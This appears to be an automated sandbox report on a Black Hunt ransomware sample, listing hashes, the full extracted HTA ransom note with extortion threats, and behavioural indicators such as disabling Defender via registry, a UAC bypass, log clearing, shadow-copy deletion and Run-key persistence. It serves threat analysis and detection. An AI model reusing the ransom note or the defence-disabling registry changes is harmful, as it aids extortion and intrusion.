31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281

Analysis

max time kernel
127s
max time network
130s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 22:57

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General

Target

31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
Size

707KB
MD5

554725fcb30af3be140699dc17d925d2
SHA1

b9047cfa792f5150f239eb52bc9ee49eb1284571
SHA256

31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281
SHA512

a464c5c8bcd4fc838e0167e546a125e53e5840c1b9c8f3195204b89b9a50aa9641147545162bbbe0abf46aefac3659e6bf9ddb38be86f69465c14b40af249265
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1N8uvnh:6uaTmkZJ+naie5OTamgEoKxLWowh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> H2W1DzlS7ha6Ef5n </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2420	fsutil.exe
3976	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
1784	wevtutil.exe
3552	wevtutil.exe
2312	wevtutil.exe
3572	wevtutil.exe
2072	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1668	bcdedit.exe
2452	bcdedit.exe
1420	bcdedit.exe
1284	bcdedit.exe

Renames multiple (2888) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2836	wbadmin.exe
3764	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
2420	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Q:	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened (read-only)	\??\W:	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened (read-only)	\??\I:	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened (read-only)	\??\Z:	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened (read-only)	\??\G:	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened (read-only)	\??\H:	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened (read-only)	\??\E:	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened (read-only)	\??\Y:	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened (read-only)	\??\U:	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened (read-only)	\??\B:	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\S:	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened (read-only)	\??\V:	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened (read-only)	\??\M:	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened (read-only)	\??\N:	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\P:	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened (read-only)	\??\J:	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened (read-only)	\??\K:	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened (read-only)	\??\O:	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened (read-only)	\??\A:	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened (read-only)	\??\X:	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened (read-only)	\??\R:	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened (read-only)	\??\T:	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened (read-only)	\??\L:	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\Vevay	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Riyadh88	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\META-INF\MANIFEST.MF	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-uisupport.xml	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ast\#BlackHunt_ReadMe.hta	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\Java\jre7\THIRDPARTYLICENSEREADME.txt	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\#BlackHunt_ReadMe.hta	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\16_9-frame-overlay.png	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ko\LC_MESSAGES\#BlackHunt_ReadMe.txt	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Kiev	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\vlc.mo	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\Java\jre7\lib\jfr\default.jfc	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\El_Salvador	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File created	C:\Program Files\VideoLAN\VLC\locale\te\LC_MESSAGES\#BlackHunt_ReadMe.hta	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\META-INF\ECLIPSE_.RSA	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-actions_ja.jar	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\#BlackHunt_ReadMe.txt	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\rockbox_fm_presets.luac	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1254.TXT	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Atikokan	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\SystemV\AST4ADT	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Karachi	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
